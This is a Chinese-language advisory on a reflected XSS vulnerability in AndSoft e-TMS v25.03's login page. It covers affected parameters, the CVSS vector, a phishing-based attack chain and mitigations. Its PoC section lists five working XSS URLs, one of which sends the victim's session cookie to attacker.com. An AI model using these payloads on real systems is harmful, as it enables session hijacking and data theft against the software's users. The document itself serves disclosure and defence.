CVE-2025-59764：AndSoft e-TMS反射型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-59764

漏洞类型

反射型跨站脚本（Reflected XSS）

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

AndSoft e-TMS

漏洞概述

CVE-2025-59764是AndSoft公司开发的e-TMS（Electronic Transport Management System，电子运输管理系统）v25.03版本中存在的一个反射型跨站脚本（Reflected XSS）漏洞。该漏洞于2025年10月2日由西班牙国家网络安全研究所（INCIBE）披露，CVSS评分为6.1分，属于中危级别。

e-TMS是一款广泛应用于物流和运输行业的管理软件，用于处理运输订单、车辆调度、货物跟踪等业务。该系统通常部署在企业内部网络中，但由于其Web应用特性，仍然面临着来自互联网的潜在攻击风险。

该漏洞存在于e-TMS的登录页面'/clt/LOGINFRM_FCC.ASP'中，具体涉及'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'和'SuppConn'等多个参数。由于这些参数未经过充分的输入验证和输出编码，攻击者可以通过构造包含恶意JavaScript代码的URL，利用社会工程学手段诱导受害者点击，从而在受害者的浏览器上下文中执行任意JavaScript代码。

此漏洞的成功利用可能导致会话劫持、敏感信息窃取、钓鱼攻击升级、恶意软件分发等多种安全风险。虽然漏洞本身不需要认证即可利用，但需要用户交互（如点击恶意链接），因此攻击者通常需要结合钓鱼邮件或即时通讯工具进行攻击。

技术细节

该漏洞属于典型的反射型XSS漏洞，其技术原理如下：

1. **漏洞位置**：漏洞存在于e-TMS v25.03的登录表单页面'/clt/LOGINFRM_FCC.ASP'中。该页面接收多个GET/POST参数，包括'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'和'SuppConn'。

2. **根本原因**：应用程序在处理这些参数时，未对用户输入进行充分的过滤和HTML实体编码。直接将用户输入的数据反射回HTTP响应页面中，导致恶意脚本能够被浏览器解析执行。

3. **利用方式**：攻击者构造一个包含恶意JavaScript代码的URL，例如在参数值中插入`<script>alert(document.cookie)</script>`或`<img src=x onerror=...>`等payload，然后通过钓鱼邮件、社交媒体或其他渠道诱导受害者点击该链接。当受害者在已登录e-TMS的浏览器中点击链接时，恶意脚本将在e-TMS的域上下文中执行。

4. **影响范围**：由于漏洞涉及多个参数，攻击面较广。攻击者可以利用此漏洞窃取用户的会话cookie、进行钓鱼攻击、篡改页面内容、重定向用户到恶意网站，甚至利用浏览器漏洞进行进一步的攻击。

5. **CVSS向量分析**：CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 表示该漏洞可通过网络利用，攻击复杂度低，无需权限，但需要用户交互，作用域发生变化，对机密性和完整性有低影响。

攻击链分析

STEP 1

步骤1：信息收集

攻击者通过Shodan、Censys等搜索引擎或直接访问目标网站，识别运行AndSoft e-TMS v25.03的目标系统，并定位登录页面'/clt/LOGINFRM_FCC.ASP'。

STEP 2

步骤2：漏洞验证

攻击者对登录页面的各参数（l、demo、demo2、TNTLOGIN、UO、SuppConn）进行XSS测试，构造包含简单payload（如alert弹窗）的URL，确认漏洞存在。

STEP 3

步骤3：构造恶意URL

攻击者构造包含恶意JavaScript代码的URL，例如用于窃取cookie、会话劫持或钓鱼的payload，并将其嵌入到钓鱼邮件、社交媒体消息或即时通讯中。

STEP 4

步骤4：诱导用户点击

攻击者通过社会工程学手段，伪装成合法来源（如系统管理员通知、紧急安全更新等），诱导受害者点击恶意链接。

STEP 5

步骤5：执行恶意脚本

受害者在已登录e-TMS的浏览器中点击链接后，恶意JavaScript代码在e-TMS的域上下文中执行，可窃取会话cookie、获取敏感信息或执行其他恶意操作。

STEP 6

步骤6：权限提升与持久化

攻击者利用窃取的会话信息冒充合法用户登录系统，访问敏感业务数据，或植入后门进行持久化攻击。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-59764 PoC - Reflected XSS in AndSoft e-TMS v25.03 -->
<!-- Vulnerable endpoint: /clt/LOGINFRM_FCC.ASP -->
<!-- Vulnerable parameters: l, demo, demo2, TNTLOGIN, UO, SuppConn -->

<!-- PoC 1: Basic XSS using 'l' parameter -->
https://target.com/clt/LOGINFRM_FCC.ASP?l=<script>alert('XSS-CVE-2025-59764')</script>

<!-- PoC 2: XSS using 'demo' parameter -->
https://target.com/clt/LOGINFRM_FCC.ASP?demo=<script>alert(document.cookie)</script>

<!-- PoC 3: XSS using 'TNTLOGIN' parameter -->
https://target.com/clt/LOGINFRM_FCC.ASP?TNTLOGIN=<img src=x onerror=alert('XSS')>

<!-- PoC 4: Cookie stealing payload via 'UO' parameter -->
https://target.com/clt/LOGINFRM_FCC.ASP?UO=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

<!-- PoC 5: Multi-parameter exploitation -->
https://target.com/clt/LOGINFRM_FCC.ASP?l=test&demo=<script>alert(1)</script>&demo2=<svg/onload=alert(1)>&TNTLOGIN=test&UO=test&SuppConn=test

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1）对所有用户输入进行严格的输入验证和白名单过滤，拒绝包含特殊字符（如<、>、"、'、&等）的输入；2）对输出到页面的所有数据进行HTML实体编码；3）部署Web应用防火墙（WAF）规则，检测和阻止XSS攻击payload；4）启用Content Security Policy（CSP）头部，限制内联脚本执行；5）为所有cookie设置HTTPOnly标志，防止通过XSS窃取会话信息；6）对员工进行安全意识培训，提高对钓鱼邮件和恶意链接的识别能力；7）监控Web服务器日志，及时发现可疑请求。